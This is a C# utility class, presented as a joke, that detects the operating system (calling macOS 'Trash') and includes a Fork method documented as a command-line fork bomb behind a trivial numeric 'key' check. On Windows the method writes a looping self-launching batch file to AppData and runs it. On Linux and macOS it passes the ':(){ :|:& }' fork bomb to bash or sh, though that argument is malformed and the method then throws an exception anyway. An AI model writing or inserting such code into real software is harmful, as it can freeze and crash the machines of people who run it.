Funny Class

public class OS
{
    public enum OSType
    {
        Windows,
        Linux,
        Trash,
        Other,
        Unknown,
        Unset
    }

    /// <param name="exitIfTrash"></param>
    /// <returns>The current <see cref="OSType"/></returns>
    public static OSType CheckOS(bool exitIfTrash = false)
    {
        if (IsWin())
        {
            return OSType.Windows;
        }

        if (IsLin())
        {
            return OSType.Linux;
        }

        if (IsTrash())
        {
            if (exitIfTrash)
            {
                Environment.Exit(0b0110_1001);
            }

            return OSType.Trash;
        }

        return OSType.Unknown;
    }

    // OperatingSystem.Is[OS]() just returns a bool that is determined at runtime
    // so this does not affect speed
    public static bool IsWin()
    {
        return OperatingSystem.IsWindows();
    }

    public static bool IsLin()
    {
        return OperatingSystem.IsLinux();
    }

    //I'm proud of this one
    public static bool IsTrash()
    {
        return OperatingSystem.IsMacCatalyst() || OperatingSystem.IsMacOS();
    }

    /// <summary>
    /// Starts a command line fork bomb [Adjusts for OS]
    /// <para>
    /// Unlock: <paramref name="key1"/> + <paramref name="key2"/> need to be equal to 2124.25365744
    /// </para>
    /// </summary>
    /// <param name="key1"></param>
    /// <param name="key2"></param>
    public static void Fork(float key1, float key2)
    {
        // security
        if (key1 + key2 is not 9438059 / 4443)
        {
            return;
        }

        if (IsWin())
        {
            string appData = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "tmp.bat");
            File.WriteAllLines(appData, new string[] { "top:", "start \"\" %0", "goto top" });
            _ = Process.Start(appData);
        }

        if (IsLin() || IsTrash())
        {
            try
            {
                _ = Process.Start(new ProcessStartInfo
                {
                    WindowStyle = ProcessWindowStyle.Maximized,
                    FileName = "/bin/bash",
                    Arguments = ":() { :|:& } :"
                });
            }
            catch
            {
                _ = Process.Start(new ProcessStartInfo
                {
                    WindowStyle = ProcessWindowStyle.Maximized,
                    FileName = "/bin/sh",
                    Arguments = ":() { :|:& } :"
                });
            }
            throw new Exception("Failed to find app to run fork");
        }
    }
}